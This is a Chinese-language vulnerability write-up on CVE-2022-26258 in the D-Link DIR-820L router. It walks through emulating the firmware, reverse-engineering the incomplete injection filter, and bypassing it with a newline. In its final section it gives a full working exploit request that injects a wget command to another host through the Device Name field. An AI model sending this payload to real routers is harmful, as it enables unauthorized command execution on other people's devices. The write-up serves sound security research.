D-Link CVE-2022-26258 命令注入
- 设备型号:D-Link DIR-820L
- 固件版本:1.05 B03
- 厂商官网:http://www.dlink.com.cn/
- 固件下载地址:http://www.dlinktw.com.tw/techsupport/download.ashx?file=2663
- 测试环境:Ubuntu 18.04
- CVE编号:CVE-2022-26258
0x00.前言
今天又是美好的一天,逛逛iotsec-zone社区的IOT安全情报,发现新更新的漏洞
0x01.固件模拟
将固件下载下来,移动到Ubuntu中,直接使用binwalk进行固件的解密
可以看到固件没有进行加密,接下来我们尝试使用FirmAE进行固件模拟,上命令
$ sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW105B03.bin
看到两个true说明http服务和network都成功模拟,也就是说我们得到了一台仿真的路由器。
0x02.逆向分析
准备工作我们已经完成了,接下来就是对固件进行分析
我们不能盲目的操作,我们去look一下描述信息
这一下就清楚多了,在页面lan.asp下面,因为咱们已经模拟器来,先去看一下这个页面是什么页面。
原来是网络设置页面,那么触发漏洞的点就有很多了,例如IP,name,device等,这里是设置Device Name时触发的命令执行
接下来上burp,抓包看看请求,分析后端。
使用grep命令进行检索
$ grep -r "get_set" .
可以看到一个耳熟能详的二进制应用 ncc2,这个应用主要进行网络等底层操作相关的操作,使用IDA进行分析
根据DEVICE_NAME进行相关追踪
这里可以看到设置设备名称时通过系统命令触发执行,但是前面有个hasInjectionString,根据英文名字猜测,应该是用来判定是否有注入,我们进行跟踪
可以看到为导出函数,使用grep进行快速检索
可以看到匹配的动态链接库,针对动态链接库进行逆向分析
可以看到其过滤的符号
`\;'|
但是没有过滤\n也就是%0a,所以我们可以使用%0a进行绕过
0x03.EXP
使用python启动个服务端
这里使用Burpsuite进行EXP的攻击,EXP如下
POST /get_set.ccp HTTP/1.1
Host: 192.168.0.1
Content-Length: 765
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.0.1
Referer: http://192.168.0.1/lan.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: hasLogin=1
Connection: close
ccp_act=set&old_ip=192.168.0.1&old_mask=255.255.255.0&new_ip=192.168.0.1&new_mask=255.255.255.0&nextPage=lan.asp&lanHostCfg_IPAddress_1.1.1.0=192.168.0.1&lanHostCfg_SubnetMask_1.1.1.0=255.255.255.0&lanHostCfg_DomainName_1.1.1.0=&lanHostCfg_DNSRelay_1.1.1.0=1&lanHostCfg_DHCPServerEnable_1.1.1.0=1&lanHostCfg_MinAddress_1.1.1.0=192.168.0.100&lanHostCfg_MaxAddress_1.1.1.0=192.168.0.200&lanHostCfg_DHCPLeaseTime_1.1.1.0=1440&lanHostCfg_DeviceName_1.1.1.0=%0awget http://192.168.0.2%0a&lanHostCfg_AlwaysBroadcast_1.1.1.0=0&lanHostCfg_NetBIOSAnnouncement_1.1.1.0=0&lanHostCfg_NetBIOSLearn_1.1.1.0=0&lanHostCfg_NetBIOSScope_1.1.1.0=&lanHostCfg_NetBIOSNodeType_1.1.1.0=2&lanHostCfg_PrimaryWINSAddress_1.1.1.0=0.0.0.0&lanHostCfg_SecondaryWINSAddress_1.1.1.0=0.0.0.0&1649259644679=1649259644679
这里可以看到命令成功被执行
0x04.小结
通过上面的分析可以看到,虽然进行了过滤,但是过滤并不够完整,所以仍可以被绕过